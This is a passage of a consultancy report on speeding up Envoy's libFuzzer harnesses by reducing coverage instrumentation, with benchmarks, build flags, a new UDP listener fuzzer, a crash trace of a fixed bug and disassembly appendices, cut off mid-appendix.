Logics\nLondon, United Kingdom\n6\nEnvoy fuzzing improvements\n,\nApril 2021\n(\nhttps://github.com/llvm/llvm-project/blob/ab5823867c4aee7f3e02ddfaa217905c87471bf9/co\nmpiler-rt/lib/fuzzer/FuzzerTracePC.cpp#L59\n) and never\nset to false.\n1.2 How does coverage instrumentation impact fuzzer\nexecution speed in Envoy?\nIn this section we show three different ways of observing\nthe impact of the current\ninstrumentation set up in Envoy.\n1.2.1 Execution speed of an empty fuzzer.\nWe assess the slowdown of the instrumentation by creating\nthe simplest fuzzer we can. We\ndo this by having an empty fuzzer and compiling it\nin two different ways. First, we compile it\nwithout linking it to any Envoy code. Second, we compile\nit in the exact same way ash2_capture_fuzz\nnamely by linking it to the exact\nsame code in the Envoy code base,\nwhich corresponds to essentially all of the Envoy\ncode. We define the new fuzzer as follows:\n#include \"test/integration/h2_fuzz.h\"DEFINE_FUZZER(constuint8_t* buf,size_tlen) {if(len ==1234123412) {std::cout<<\"hello \"<< buf <<\"\\n\";}}\nand enable it by extending test/integration/BUILD\nwith the following\nenvoy_cc_fuzz_test(name =\"h2_empty_fuzz_test\",srcs = [\"h2_empty_fuzz_test.cc\"],copts = [\"-DPERSISTENT_FUZZER\"],corpus =\"h2_corpus\",deps = [\":h2_fuzz_persistent_lib\"],)\nWe then compile and run the fuzzer, and observe the\nfollowing output:\n$ h2_empty_fuzz_testINFO: Running with entropic power schedule (0xFF,100).INFO: Seed: 2391912932INFO: Loaded 1 modules (1282530 inline 8-bit counters):1282530 [0xa51f110,0xa6582f2),INFO: Loaded 1 PC tables (1282530 PCs): 1282530 [0xa6582f8,0xb9ea118),INFO: -max_len is not provided; libFuzzer will notgenerate inputs larger than 4096bytesINFO: A corpus is not provided, starting from an emptycorpus#2 INITED cov: 3 ft: 4 corp: 1/1b exec/s: 0 rss:170Mb\nAda Logics\nLondon, United Kingdom\n7\nEnvoy fuzzing improvements\n,\nApril 2021\n#8192 pulse cov: 3 ft: 4 corp: 1/1b lim: 80 exec/s: 4096 rss: 170Mb#16384 pulse cov: 3 ft: 4 corp: 1/1b lim: 163 exec/s:4096 rss: 171Mb#32768 pulse cov: 3 ft: 4 corp: 1/1b lim: 325 exec/s:4096 rss: 172Mb#65536 pulse cov: 3 ft: 4 corp: 1/1b lim: 652 exec/s:3855 rss: 175Mb\nIf we create the same empty fuzzer but outside the\nenvoy build environment but following the\nEnvoy fuzzer set up\nhttps://github.com/envoyproxy/envoy/blob/1d1b708c7bf6efa02c41d9ce22cbf1e4a1aeec2c/te\nst/fuzz/fuzz_runner.h#L71\n:\n#include \n#define DEFINE_TEST_ONE_INPUT_IMPL\\extern \"C\" int LLVMFuzzerTestOneInput(const uint8_t*data, size_t size) { \\EnvoyTestOneInput(data, size);\\return 0;\\}\n#define DEFINE_FUZZER\\static void EnvoyTestOneInput(const uint8_t* buf,size_t len); \\DEFINE_TEST_ONE_INPUT_IMPL\\static void EnvoyTestOneInput\nDEFINE_FUZZER(const uint8_t* buf, size_t len) {if (len ==1234123412) {std::cout<<\"hello \"<< buf <<\"\\n\";}}\nand run the fuzzer, then we observe the output:\n$ $CXX $CXXFLAGS $LIB_FUZZING_ENGINE ./empty_fuzzer.cc$ ./a.outINFO: Running with entropic power schedule (0xFF,100).INFO: Seed: 1703773772INFO: Loaded 1 modules (126 inline 8-bit counters):126 [0x84c0f8, 0x84c176),INFO: Loaded 1 PC tables (126 PCs): 126 [0x5e6398,0x5e6b78),INFO: -max_len is not provided; libFuzzer will notgenerate inputs larger than 4096bytesINFO: A corpus is not provided, starting from an emptycorpus#2 INITED cov: 3 ft: 4 corp: 1/1b exec/s: 0 rss:29Mb#4194304 pulse cov: 3 ft: 4 corp: 1/1b lim:4096 exec/s: 2097152 rss: 343Mb#8388608 pulse cov: 3 ft: 4 corp: 1/1b lim:4096 exec/s: 1677721 rss: 611Mb#16777216 pulse cov: 3 ft: 4 corp: 1/1b lim:4096 exec/s: 1677721 rss: 614Mb\nWe verify the disassembly ofLLVMFuzzerTestOneInput\nis similar in both of the fuzzers (see\nAppendix A.0), specifically that they each execute\nthe same amount of code in theLLVMFuzzerTestOneInput\n. We also note here that the\ncoverage achieved by both fuzzers\nis equal (namely 3) as shown by the output of libFuzzer.\nAda Logics\nLondon, United Kingdom\n8\nEnvoy fuzzing improvements\n,\nApril 2021\nThe execution speed and the number of inline 8-bit\ncounters are very different in the two\ncases. Specifically, we extract two important conclusions\nfrom the above observations\n1.\nThe fuzzer that is compiled outside of the Envoy fuzzer\nenvironment executes with\nroughly 1.67 million executions per second, whereas\nthe one in the Envoy\nenvironment executes with roughly 4000 executions\nper second. The envoy\ninstrumentation slows down the fuzzer by roughly 419x.\n2.\nThe number of inline 8-bit counters in the Envoy fuzzer\nis 1282530 whereas it is 126\nin the empty fuzzer (these numbers can be observed\nby the output from LibFuzzer\ngiven above). This corresponds to iterating through\n126 bytes versus 1282530 bytes\nafter each fuzz iteration.\n1.2.2 Using Prodfiler to observe the impact.\nAnother way we tried to assess the execution speed\nof the fuzzers was by using profiling\ntools to tell us where execution is spent. To do this,\nwe relied on Prodfiler\nhttps://github.com/optimyze/prodfiler-documentation\nto profile the entire machine in which we\nran the fuzzer. Prodfiler reported that 25.8% of all\nfunction samples observed happened\ninside theForEachNonZeroByte\nfunction\n.\nIn addition\nto this, looking at the flame graphs\nprovided by Prodfiler we see that around 19% of the\nentire machine execution was spent\ninside of theCollectFeatures\nfunction.\nAda Logics\nLondon, United Kingdom\n9\nEnvoy fuzzing improvements\n,\nApril 2021\n1.2.3 Using fuzzer instrumentation to assess the overall\ntime spent with\nfuzzing.\nAnother thing we were interested in understanding\nwas how much of the fuzzing execution\nwas actually spent in the target and how much was\nspent in the fuzzing engine itself. To do\nthis, we added some simple instrumentation to the\nh2_capture_fuzz.cc and h2_fuzz.cc files,\nsuch that the h2_capture_fuzz fuzzer will log timestamps\nas follows:\nDEFINE_PROTO_FUZZER(..H2CaptureFuzzTestCase input)ADD_TIME_STAMP(F1)H2FuzzIntegrationTest h2_var;h2_var.replay(input)--> H2FuzzIntegrationTest::replay(... H2CaptureFuzzTestCase&input,)...ADD_TIME_STAMP(R4)IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort(\"http\"));...ADD_TIME_STAMP(R5)for (int i =0; i < input.events().size();++i) {if (stop_further_inputs) {break;}INC_GLOBAL(PACKET_COUNT)// send packet}// endloopADD_TIME_STAMP(R6)...<--ADD_TIME_STAMP(F2)<--\nWith these timestamps available we set up an experiment\nto measure the following metrics:\nAda Logics\nLondon, United Kingdom\n10\nEnvoy fuzzing improvements\n,\nApril 2021\n-\nTotal time spent fuzzing\n-\nTotal time spent in code between the following timestamps:\n-\nF1-F2: This is the total time spent in the fuzzer\ncode.\n-\nR4-R6: This is the total time spent in the replay\nfunction.\n-\nR5-R6: This is the total time spent in the loop sending\nfuzz inputs to the client\n-\nNumber of total fuzz inputs to the client\n-\nVarious proportionate metrics, e.g. inputs sent to\nthe client.\nWe executed\nh2_capture_persistent_fuzz\nwith the seeds\nprovided, and observed the\nfollowing results:\nMetric\nResult\nTotal execution time\n1200 sec\nF1-F2\n244 sec\nR4-R6\n239 sec\nR5-R6\n226 sec\nF1-F2/Total time\n20%\nR4-R6/Total time\n19.9%\nR5-R6/Total time\n18.8%\nTotal number of client fuzz inputs\n82797\nTotal fuzz inputs to client / (F1-F2)\n339 inputs/sec\nTotal fuzz inputs to client / (R4-R6)\n346 inputs/sec\nTotal fuzz inputs to client / (R5-R6)\n366 inputs/sec\nTotal number of fuzz iterations\n27761\nWe observe that only 20% of the fuzz time is spent\nin the actual fuzzing code, and thus 80%\nof the time is spent in the libFuzzer engine.\n1.2.4 Counting the number of 8-bit inline counters\nin each Envoy fuzzer.\nFinally, we wanted to understand how many 8-bit inline\ncounters are actually used by the\nEnvoy fuzzers. This number is reported by the fuzzers\nwhen they are initiated, so the only\nthing we have to do in this case is build the fuzzers,\nlaunch them and then count the number\nof inline 8-bit counters. We do this using a build\nwith AddressSanitizer, and we see the\nfollowing results:\nFuzzer name\ninline 8-bit counters\nh2_capture_persistent_fuzz_test\n1281655\nh2_capture_fuzz_test\n1281649\nAda Logics\nLondon, United Kingdom\n11\nEnvoy fuzzing improvements\n,\nApril 2021\nh1_capture_fuzz_test\n1268160\nh1_capture_persistent_fuzz_test\n1268166\ncodec_fuzz_test\n1030067\nhash_fuzz_test\n570594\nget_sha_256_digest_fuzz_test\n579995\nevaluator_fuzz_test\n1100639\ndns_filter_fuzz_test\n1139928\nFor comparison purposes the following table gives\nexamples of 8-bit counters in various\nopen source projects that we have fuzzed.\nProject fuzzer targets\nInline 8-bit counters\nLua\n6322\nPugiXML\n4871\nLevelDB\n5948\nRocksDB\n137913\nIt is clear that the number of inline 8-bit counters\nin Envoy is significantly larger than any of\nthe other projects. For example, our fuzzer targeted\nthe core library (liblua.a) for the Lua\nprogramming language has a total of 6322 inline 8-bit\ncounters whereas the h2 end-to-end\nEnvoy fuzzer has a total of 1.2 million.\n1.2.5 Conclusions\nThe instrumentation set up in Envoy is a significant\nperformance bottleneck for the fuzzers.\nThe main reason for the performance is the post-processing\nthat occurs after each fuzz\nexecution in terms of collecting coverage features\nto assess whether the execution\ndiscovered new code execution. An empty fuzzer without\nEnvoy instrumentation runs 419x\nfaster than an empty fuzzer with Envoy instrumentation.\nWe want to emphasize here that the fuzzing infrastructure\nof Envoy is of high quality and the\nteam behind it has shown high competencies in fuzzing\nEnvoy. In fact, from a certain\nperspective it is positive that Envoy builds all code\nrelated to Envoy with sanitizers and this\nshould be considered a great achievement as well as\nhaving the right intentions. It is due to\nthe sheer amount of code in the resulting Envoy binaries,\nwhich is due to linking of many\nthird-party libraries in addition to the large Envoy\ncode base in and of itself, that the\ncoverage collection ends up having a significant slowdown.\nIn the vast majority of projects\nwe would not advise limiting the coverage instrumentation\nacross a fuzzing set up.\nAda Logics\nLondon, United Kingdom\n12\nEnvoy fuzzing improvements\n,\nApril 2021\nFurthermore, the observations we made in this section are not common knowledge and it is\nnot to be expected from non-fuzzing experts to consider\nthis during fuzzer development.\n1.3 Improving Envoy fuzzer execution by reducing\ninstrumentation\n1.3.1 Disabling instrumentation\nThe crucial task for improving fuzzing performance\nin Envoy is to reduce the amount of\ncoverage instrumentation in the target application.\nSpecifically, the goal is to reduce the\namount of inline 8-bit counters. The main way to this\nis by including the compilation flags:\n-fsanitize-coverage=0-fno-sanitize=all\nThe first flag-fsanitize-coverage=0\ndisablescoverage\ninstrumentation, whereas the\nsecond flag also disables bug-finding sanitizers,\ne.g. AddressSanitizer. The first flag should\nbe removed from code that can avoid being explored\nor are potentially fuzzed elsewhere.\nThe second flag, namely disabling bug-finding sanitizers,\nshould be disabled with more care.\nIn order to disable instrumentation, we tried three\nthings:\nBazel builds:\nFirst, we tried controlling instrumentation\ndetails inside of the Envoy BUILD\nscripts. In particular, adding `copts` definitions\nto various places in the BUILD scripts of\nENVOY. This works for the majority of bazel rules,\nhowever, it does not work for any rule\ndefined by way ofproto_library\n. This is becauseproto_library\ndoes not allow us to\npropagate compilation options to the protobuf compiler,\nand thus it does not allow us to\ninclude the flags to disable instrumentation on a\nper-target basis. We reference to issues in\nthe bazelbuild/rules_proto repository here:\nhttps://github.com/bazelbuild/rules_proto/issues/85\nhttps://github.com/bazelbuild/rules_proto/issues/41\nPassing flags to clang:\nSecond, we tried using the\n`--per_file_copt\n` command line\noption for bazel builds. This option accepts a regular\nexpression that encapsulates a set of\nfiles used during compilation as well as a string\nthat will be passed to the compiler during\ncompilation of files that match the regular expression.\nFor example, the following line:\n--per_file_copt=^.*\\.pb\\.cc$@-fsanitize-coverage=0,-fno-sanitize=all\nwill pass the flags-fsanitizer-coverage=0\nand-fno-sanitize=all\nto all files compiled\nin the bazel build with.pb.cc\nextensions. This option\nworked well.\nAda Logics\nLondon, United Kingdom\n13\nEnvoy fuzzing improvements\n,\nApril 2021\nUsing a blocklist for SanitizerCoverage\n: Third, using the-fsanitize-coverage-blocklist=/src/block_list.txt\nalso by way ofper_file_copt\n. This option disables coverage instrumentation\nbased on contents of the file/src/block_list.txt\nin which it is possible to disable\ninstrumentation based on file names\nor (mangled) function names.\n1.3.2 Results from disabling instrumentation\nMeasuring dif ferent configurations\nThe next was to identify which parts of the code yields\nbest results when disabling coverage\ninstrumentation. To do this, we set up a set of different\nbuild configurations following the\napproaches (2 and 3) described above and measured\nthe following data:\n1.\nThe number of 8-bit inline counters in the h1 e2e\nand h2 2e2 fuzzers;\n2.\nThe total number of fuzz iterations achieved over\na 5 minute run with the seeds from\nthe OSS-Fuzz repository.\nIn total, we compiled the Envoy fuzzers with 6 different\nconfigurations and the configurations\nare shown in Appendix A.1. The following table shows\nthe results.\nFuzzer\nSetting\ninline 8-bit \ncounters\nTotal execs \n(300 sec)\nExec/sec\nhttp2 e2e\nConfiguration 1 \n(regular build)\n1281922\n4527\n15.1\nhttp1 e2e\nConfiguration 1 \n(regular build)\n1268433\n7123\n23.7\nhttp2 e2e\nConfiguration 2\n271239\n7372\n24.6\nhttp1 e2e\nConfiguration 2\n272107\n25370\n84.6\nhttp2 e2e\nConfiguration 3\n313473\n6864\n22.9\nhttp1 e2e\nConfiguration 3\n314363\n17640\n58.9\nhttp2 e2e\nConfiguration 4\n313545\n5291\n17.6\nhttp1 e2e\nConfiguration 4\n314438\n16530\n55.1\nhttp2 e2e\nConfiguration 5\n258955\n6522\n21.7\nhttp1 e2e\nConfiguration 5\n259216\n20639\n68.8\nhttp2 e2e\nConfiguration 6 \n(includes \nblocked list of \nfunctions)\n273673\n8055\n26.85\nhttp1 e2e\nConfiguration 6\n274564\n19932\n66.4\nAda Logics\nLondon, United Kingdom\n14\nEnvoy fuzzing improvements\n,\nApril 2021\n(includes \nblocked list of \nfunctions)\nFinally, we note that the executions per second increases\nif the fuzzer is run for a longer\nperiod of time. For example, in our experiments we\nhave observed above 100 exec/sec in\nthe http2 end-to-end fuzzer with seeds in longer fuzz\nruns. The data of these runs have been\nshared with the Envoy team internally.\nDeploying on OSS-Fuzz.\nWe integrated some of the above efforts into the OSS-Fuzz\nbuild script of Envoy and the\nfollowing figure shows impact.\nWe can see here that a performance improvement happened\non the 16th April 2021.\nInspecting the logs, we notice on the 15th April the\namount of inline 8-bit counters was\n~600,000\n(\nhttps://console.cloud.google.com/storage/browser/_details/envoy-logs.clusterfuzz-external.a\nppspot.com/libFuzzer_envoy_h2_capture_persistent_fuzz_test/libfuzzer_asan_envoy/2021-\n04-15/00:06:53:330737.log\n) whereas on the 16th April\nit was ~300,000\n(\nhttps://console.cloud.google.com/storage/browser/_details/envoy-logs.clusterfuzz-external.a\nppspot.com/libFuzzer_envoy_h2_capture_persistent_fuzz_test/libfuzzer_asan_envoy/2021-\n04-16/01:54:36:943426.log\n). This decrease in inline\n8-bit counters resulted in a 3x\nimprovement of the fuzzer execution. We note here\nthat in addition to the decrease in inline\n8-bit counters the stability of the fuzzer was also\nimproved on the same day through bug\nfixing, which may have impacted the performance as\nwell.\nAda Logics\nLondon, United Kingdom\n15\nEnvoy fuzzing improvements\n,\nApril 2021\n2 Fuzzing the Envoy UdpListener\nThe second task of the Engagement was to create a\nnew fuzzer that targets the UDP\nlistener of Envoy. The goal of this fuzzer was to\nenable catching the bug described in this\nGithub issue\nhttps://github.com/envoyproxy/envoy/issues/14113\n.\nThe fuzzer we created was\nmerged into Envoy and is available at this location\nin the repository:\nhttps://github.com/envoyproxy/envoy/blob/main/test/common/network/udp_fuzz.cc\nThe goal of the fuzzer is to send an arbitrary number\nof arbitrary packets to the Envoy UDP\nlistener. To do this we rely on the primitives provided\nbyNetwork::Test::UdpSyncPeer\nand\nthe core of the fuzzer is encapsulated by the following\nloop\n(\nhttps://github.com/envoyproxy/envoy/blob/58a13570f3f4dea9bad8b8fa5e1221d7ed5056de/t\nest/common/network/udp_fuzz.cc#L92\n):\n// Now do all of the fuzzingstaticconstintMaxPackets =15;total_packets_ = provider.ConsumeIntegralInRange(1,MaxPackets);Network::Test::UdpSyncPeerclient_(ip_version_);for(uint16_ti =0; i < total_packets_; i++){std::stringpacket_ =provider.ConsumeBytesAsString(provider.ConsumeIntegralInRange(1,3000));if(packet_.empty()) {packet_ =\"EMPTY_PACKET\";}client_.write(packet_, *send_to_addr_);}dispatcher_->run(Event::Dispatcher::RunType::Block);\nThe fuzzer supports communicating by way ofGRO\n,MMSG\nas well as regularrecvmsg\n, which\nis controlled by the following code\n(\nhttps://github.com/envoyproxy/envoy/blob/58a13570f3f4dea9bad8b8fa5e1221d7ed5056de/t\nest/common/network/udp_fuzz.cc#L73\n):\nFuzzedDataProviderprovider(buf, len);uint16_tSocketType = provider.ConsumeIntegralInRange(0,2);if(SocketType ==0) {config.mutable_prefer_gro()->set_value(true);ON_CALL(override_syscall_, supportsUdpGro()).WillByDefault(Return(true));}elseif(SocketType ==1) {ON_CALL(override_syscall_, supportsMmsg()).WillByDefault(Return(true));}else{ON_CALL(override_syscall_, supportsMmsg()).WillByDefault(Return(false));ON_CALL(override_syscall_, supportsUdpGro()).WillByDefault(Return(false));}\nIn order to verify the fuzzer finds the original crash\nof the code we ran the fuzzer\nAda Logics\nLondon, United Kingdom\n16\nEnvoy fuzzing improvements\n,\nApril 2021\nagainst the Envoy codebase with the changes applied by the commit that fixed the\nUDP bug (\nhttps://github.com/envoyproxy/envoy/pull/14122/files\n).\nMore specifically,\nif we avoid the use of the condition\nif(output.msg_[i].truncated_and_dropped_) {continue;}\nin this commit\nhttps://github.com/envoyproxy/envoy/pull/14122/files#diff-c9702469f313c70572e261f4af736\n87873ab8247264eb47fd05300098067c5abR632\nthen we get\nthe following result:\n$ /out/udp_fuzz ./seeds/INFO: Running with entropic power schedule (0xFF,100).INFO: Seed: 185475315INFO: Loaded 1 modules (1087563 inline 8-bit counters):1087563 [0x861fcb0,0x87294fb),INFO: Loaded 1 PC tables (1087563 PCs): 1087563 [0x8729500,0x97c19b0),INFO: 55 files foundin./seeds/INFO: -max_len is not provided; libFuzzer will notgenerate inputs larger than 4096bytesINFO: seed corpus: files: 55 min: 1b max: 2251b total:4519b rss: 150MbAddressSanitizer:DEADLYSIGNAL===================================================================28367==ERROR: AddressSanitizer: SEGV on unknownaddress 0x000000000000 (pc0x000005872691 bp 0x7fff415ade70 sp 0x7fff415ad980T0)==28367==The signal is caused by a READ memory access.==28367==Hint: address points to the zero page.#0 0x5872691 in Envoy::Network::passPayloadToProcessor(unsignedlong,std::__1::unique_ptr>,std::__1::shared_ptr,std::__1::shared_ptr,Envoy::Network::UdpPacketProcessor&,std::__1::chrono::time_point > >)/proc/self/cwd/source/common/network/utility.cc:562:3#1 0x587501e in Envoy::Network::Utility::readFromSocket(Envoy::Network::IoHandle&,Envoy::Network::Address::Instance const&, Envoy::Network::UdpPacketProcessor&,std::__1::chrono::time_point > >, bool,unsigned int*) /proc/self/cwd/source/common/network/utility.cc:669:7#2 0x5877d3a inEnvoy::Network::Utility::readPacketsFromSocket(Envoy::Network::IoHandle&,Envoy::Network::Address::Instance const&, Envoy::Network::UdpPacketProcessor&,Envoy::TimeSource&, bool, unsigned int&)/proc/self/cwd/source/common/network/utility.cc:702:38#3 0x552b14d in Envoy::Network::UdpListenerImpl::handleReadCallback()/proc/self/cwd/source/common/network/udp_listener_impl.cc:75:34#4 0x552a15f in Envoy::Network::UdpListenerImpl::onSocketEvent(short)/proc/self/cwd/source/common/network/udp_listener_impl.cc:64:5\nAda Logics\nLondon, United Kingdom\n17\nEnvoy fuzzing improvements\n,\nApril 2021\n#5 0x5531e26 inEnvoy::Network::UdpListenerImpl::UdpListenerImpl(Envoy::Event::DispatcherImpl&,std::__1::shared_ptr, Envoy::Network::UdpListenerCallbacks&,Envoy::TimeSource&, envoy::config::core::v3::UdpSocketConfigconst&)::$_0::operator()(unsigned int) const/proc/self/cwd/source/common/network/udp_listener_impl.cc:38:53\n…\n.\n…\n.\nTo confirm the fuzzer targets the code that was asked\nfor by the Envoy team we observe\ncoverage of the fuzzer in OSS-Fuzz. Consider the following\nlinks showing the UDP Listener\ncode is being analysed:\n●Envoy::Network::UdpListenerImpl::handleReadCallback\nhttps://storage.googleapis.com/oss-fuzz-coverage/envoy/report\ns/20210423/linux/proc/self/cwd/source/common/network/udp_list\nener_impl.cc.html#L72\n●Envoy::Network::Utility::readFromSocket\nhttps://storage.googleapis.com/oss-fuzz-coverage/envoy/reports/20210423/linux/proc\n/self/cwd/source/common/network/utility.cc.html#L576\nIn addition to this, consider the figures in Appendix\nA.2 showing the coverage is being\nachieved.\n3 Future advice\nWe consider there to be three problems that need solving\nfor the Envoy team.\nFirst\n, enable the ability to disable instrumentation\nof protobuf code included in header files,\nwhich in themselves can have a huge amount of code.\nThis is because a lot of protobuf code\nis included by way of header files in the Envoy source\ncode:\nenvoy/source/common$ grep -rn\"pb.h\"./ | wc -l388\nThe unfortunate consequence of this is that the code\nin the header file could avoid being\ninstrumented but because it is included by important\ncode that has to be instrumented, the\nprotobuf code consequently will also be instrumented.\nSome refactoring that makes it easy\nto control the instrumentation parameters of the protobuf\ncode would likely have a large\nimpact on the execution speed.\nAn option for solving the protobuf problems above\nis to disable instrumentation on a\nnamespace or function level. We can do this by performing\npartial instrumentation with\nSanitizerCoverage\nas described here:\nhttps://clang.llvm.org/docs/SanitizerCoverage.html#partially-disabling-instrumentation\nAda Logics\nLondon, United Kingdom\n18\nEnvoy fuzzing improvements\n,\nApril 2021\nSpecifically, consider the file\nb l o c k _ l i s t . t x t\nwith the following contents:\nfun:*nocoveragepls*\nThis will disable coverage instrumentation for any\nfunction that containsnocoveragepls\nin\nits function name, which includes the namespace name.\nAs such, a way to disable\ninstrumentation in a smart manner is to include a\nfile\nb l o c k e d _ l i s t . t x t\nin the Envoy repository,\nwhich we will then use during Envoy fuzzing compilation\nas follows:--per_file_copt=\"-fsanitize-coverage-blocklist=envoy_code/block_list.txt\"\nWe did an initial experimentation of this by way of\nconfiguration #6 discussed in section\n1.3.2.\nSecond\n, add the ability to do per-target instrumentation.\nIt is clear that the fuzz targets in the\nEnvoy code target separate parts of the code base.\nIdeally instrumentation should be made\non a target-specific basis. The goal should be to\nhave less than 100,000 inline 8-bit counters\nper fuzzer. Notice that the number of counters is\nshown in the libFuzzer logs (as shown\nabove section 1.2.1) which are also available on OSS-Fuzz\nfor each of the OSS-Fuzz runs.\nWe leave the following instrumentation-specific advice:\n●\nIt can be beneficial to reduce coverage instrumentation\nalso from a perspective of\nletting the fuzzer focus on code that matters, since\nthe fuzzer will be guided by\nimprovements in relevant code and not get “lost” in\nirrelevant code.\n●\nLarge chunks of sequential code does not need to be\ninstrumented with coverage,\nincluding Envoy critical code. We advise to keep bug-finding\nsanitizers on\nnonetheless.\nThird\n, during the engagement we observed that several\nof the fuzzers had a high crashing\npercentage (above 90%) for several months. In fact,\nthe http2 end-to-end fuzzer had an\ninput in its corpus that caused the fuzzer to crash.\nEffectively, the fuzzer had not explored\nnew code for months because this input blocked the\nfuzzer from continuing. We think it is\ncrucial for the Envoy team to ensure the fuzzers of\nEnvoy are running properly and this\nshould be considered higher priority than ensuring\nthe fuzzers run fast.\n4 Conclusions\nIn this engagement we improved Envoy fuzzing by identifying\nthe performance bottleneck in\nthe Envoy fuzzing set up and creating a new UDP fuzzer\nthat targets previously buggy code.\nOur findings identify that the performance bottleneck\nin Envoy is due to large amounts of\ncode instrumentation which causes LibFuzzer to spend\nsignificant effort in determining if\neach fuzz iteration caused new code to execute. We\nshow how this affects the Envoy\nfuzzers, for example by highlighting an empty fuzzer\nruns 419 times slower with Envoy’s\ninstrumentation approach. We show how to limit the\namount of instrumentation in Envoy and\nhow it improves performance.\nAda Logics\nLondon, United Kingdom\n19\nEnvoy fuzzing improvements\n,\nApril 2021\n5 Appendix\nA.0 Disassembly of empty fuzzers\nAppendix showing the disassembly of\nL L V M F u z z e r T e s t O n e I n p u t\nin the two empty fuzzers is\nsimilar.\nDisassembly of\nh2_empty_fuzz_test\n, namely the empty\nfuzzer compiled with Envoy\ninstrumentation.\n$ gdb /out/h2_empty_fuzz_testReading symbols from /out/h2_empty_fuzz_test...done.(gdb)setdisassembly-flavor intel(gdb) disass LLVMFuzzerTestOneInputDump of assembler codeforfunctionLLVMFuzzerTestOneInput:0x0000000003235e90 <+0>: push rbp0x0000000003235e91 <+1>: mov rbp,rsp0x0000000003235e94 <+4>: add BYTE PTR [rip+0x72d9dfc],0x1# 0xa50fc970x0000000003235e9b <+11>: mov rax,0xffffffffffffedc80x0000000003235ea2 <+18>: cmp rbp,QWORD PTRfs:[rax]0x0000000003235ea6 <+22>: jae 0x3235eac 0x0000000003235ea8 <+24>: mov QWORD PTR fs:[rax],rbp0x0000000003235eac <+28>: call 0x3235ec0 <_ZL17EnvoyTestOneInputPKhm>0x0000000003235eb1 <+33>: xor eax,eax0x0000000003235eb3 <+35>: pop rbp0x0000000003235eb4 <+36>: retEnd of assembler dump.(gdb) disass _ZL17EnvoyTestOneInputPKhmDump of assembler codeforfunction_ZL17EnvoyTestOneInputPKhm:0x0000000003235ec0 <+0>: push rbp0x0000000003235ec1 <+1>: mov rbp,rsp0x0000000003235ec4 <+4>: push r140x0000000003235ec6 <+6>: push rbx0x0000000003235ec7 <+7>: add BYTE PTR [rip+0x72d9dca],0x1# 0xa50fc980x0000000003235ece <+14>: mov rbx,rsi0x0000000003235ed1 <+17>: mov r14,rdi0x0000000003235ed4 <+20>: mov rax,0xffffffffffffedc80x0000000003235edb <+27>: cmp rbp,QWORD PTRfs:[rax]0x0000000003235edf <+31>: jae 0x3235ee5 <_ZL17EnvoyTestOneInputPKhm+37>0x0000000003235ee1 <+33>: mov QWORD PTR fs:[rax],rbp0x0000000003235ee5 <+37>: mov edi,0x498f3a940x0000000003235eea <+42>: mov rsi,rbx0x0000000003235eed <+45>: call 0x3153860 <__sanitizer_cov_trace_const_cmp8()>0x0000000003235ef2 <+50>: cmp rbx,0x498f3a940x0000000003235ef9 <+57>: jne 0x3235f31 <_ZL17EnvoyTestOneInputPKhm+113>0x0000000003235efb <+59>: add BYTE PTR [rip+0x72d9d98],0x1# 0xa50fc9a0x0000000003235f02 <+66>: lea rdi,[rip+0x908047f]# 0xc2b6388 <_ZNSt3__14coutE>0x0000000003235f09 <+73>: lea rsi,[rip+0xfffffffffd3ba150]# 0x5f0060 <.str.4>0x0000000003235f10 <+80>: call 0x3235f40<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>0x0000000003235f15 <+85>: mov rdi,rax0x0000000003235f18 <+88>: mov rsi,r140x0000000003235f1b <+91>: call 0x3235f80<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKh>0x0000000003235f20 <+96>: lea rsi,[rip+0xfffffffffd3ba179]# 0x5f00a0 <.str.5>0x0000000003235f27 <+103>: mov rdi,rax0x0000000003235f2a <+106>: call 0x3235f40<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>\nAda Logics\nLondon, United Kingdom\n20\nEnvoy fuzzing improvements\n,\nApril 2021\n0x0000000003235f2f <+111>: jmp 0x3235f38 <_ZL17EnvoyTestOneInputPKhm+120>0x0000000003235f31 <+113>: add BYTE PTR [rip+0x72d9d61],0x1# 0xa50fc990x0000000003235f38 <+120>: pop rbx0x0000000003235f39 <+121>: pop r140x0000000003235f3b <+123>: pop rbp0x0000000003235f3c <+124>: retEnd of assembler dump.(gdb)\nDisassembly of empty fuzz test compiled without instrumentation:\n# gdb -q ./a.outReading symbols from ./a.out...done.(gdb)setdisassembly-flavor intel(gdb) disass LLVMFuzzerTestOneInputDump of assembler codeforfunctionLLVMFuzzerTestOneInput:0x0000000000557d40 <+0>: push rbp0x0000000000557d41 <+1>: mov rbp,rsp0x0000000000557d44 <+4>: add BYTE PTR [rip+0x2f43ad],0x1# 0x84c0f80x0000000000557d4b <+11>: mov rax,QWORD PTR[rip+0x2f1246]# 0x848f980x0000000000557d52 <+18>: cmp rbp,QWORD PTRfs:[rax]0x0000000000557d56 <+22>: jae 0x557d5c 0x0000000000557d58 <+24>: mov QWORD PTR fs:[rax],rbp0x0000000000557d5c <+28>: call 0x557d70 <_ZL17EnvoyTestOneInputPKhm>0x0000000000557d61 <+33>: xor eax,eax0x0000000000557d63 <+35>: pop rbp0x0000000000557d64 <+36>: retEnd of assembler dump.(gdb) disass _ZL17EnvoyTestOneInputPKhmDump of assembler codeforfunction_ZL17EnvoyTestOneInputPKhm:0x0000000000557d70 <+0>: push rbp0x0000000000557d71 <+1>: mov rbp,rsp0x0000000000557d74 <+4>: push r140x0000000000557d76 <+6>: push rbx0x0000000000557d77 <+7>: add BYTE PTR [rip+0x2f437b],0x1# 0x84c0f90x0000000000557d7e <+14>: mov rbx,rsi0x0000000000557d81 <+17>: mov r14,rdi0x0000000000557d84 <+20>: mov rax,QWORD PTR[rip+0x2f120d]# 0x848f980x0000000000557d8b <+27>: cmp rbp,QWORD PTRfs:[rax]0x0000000000557d8f <+31>: jae 0x557d95 <_ZL17EnvoyTestOneInputPKhm+37>0x0000000000557d91 <+33>: mov QWORD PTR fs:[rax],rbp0x0000000000557d95 <+37>: mov edi,0x498f3a940x0000000000557d9a <+42>: mov rsi,rbx0x0000000000557d9d <+45>: call 0x473370 <__sanitizer_cov_trace_const_cmp8()>0x0000000000557da2 <+50>: cmp rbx,0x498f3a940x0000000000557da9 <+57>: jne 0x557ddb <_ZL17EnvoyTestOneInputPKhm+107>0x0000000000557dab <+59>: add BYTE PTR [rip+0x2f4349],0x1# 0x84c0fb0x0000000000557db2 <+66>: mov edi,0x11a77e00x0000000000557db7 <+71>: mov 